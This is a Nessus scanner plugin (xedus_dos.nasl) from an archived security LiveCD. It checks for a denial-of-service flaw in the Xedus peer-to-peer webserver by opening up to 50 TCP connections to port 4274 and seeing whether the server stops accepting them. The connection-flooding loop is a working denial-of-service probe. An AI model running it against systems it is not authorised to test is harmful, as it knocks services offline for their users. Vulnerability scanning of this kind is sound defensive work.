home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / xedus_dos.nasl < prev    next >
Text File  |  2005-03-31  |  2KB  |  64 lines

  1. #
  2. # This script was written by David Maciejak <david dot maciejak at kyxar dot fr>
  3. # based on Michel Arboi work
  4. #
  5. # Ref: James Bercegay of the GulfTech Security Research Team
  6. # This script is released under the GNU GPLv2
  7.  
  8. if(description)
  9. {
  10.   script_id(14646);
  11.   script_bugtraq_id(11071);
  12.   script_version("$Revision: 1.5 $");
  13.   script_name(english:"Xedus Denial of Service");
  14.  
  15.  
  16.  desc["english"] = "
  17. The remote host runs Xedus Peer to Peer webserver.  This version is vulnerable 
  18. to a denial of service.
  19.  
  20. An attacker could stop the webserver accepting requests from users by 
  21. establishing multiple connections from the same host.
  22.  
  23. Solution: Upgraded to the latest version.
  24. Risk factor : Low";
  25.   script_description(english:desc["english"]);
  26.  
  27.   script_summary(english:"Checks for denial of service in Xedus");
  28.   script_category(ACT_DENIAL);
  29.   script_copyright(english:"This script is Copyright (C) 2004 David Maciejak");
  30.   script_dependencies("xedus_detect.nasl");
  31.   script_family(english:"Peer-To-Peer File Sharing");
  32.   script_require_ports("Services/www", 4274);
  33.   exit(0);
  34. }
  35.  
  36. include("http_func.inc");
  37.  
  38. if ( safe_checks() ) exit(0);
  39.  
  40. port = get_http_port(default:4274);
  41. if ( ! get_kb_item("xedus/" + port + "/running")) exit(0);
  42.  
  43. if(get_port_state(port))
  44.   soc = open_sock_tcp(port);
  45.   if (! soc) return(0);
  46.   
  47.   s[0] = soc;
  48.  
  49.   for (i = 1; i < 50; i = i+1)
  50.   {
  51.     soc = open_sock_tcp(port);
  52.     if (! soc)
  53.     {
  54.       security_hole(port);
  55.       for (j = 0; j < i; j=j+1) close(s[j]);
  56.     }
  57.     sleep(1);
  58.     s[i] = soc;
  59.   }
  60.   for (j = 0; j < i; j=j+1) close(s[j]);
  61. }
  62. exit(0);
  63.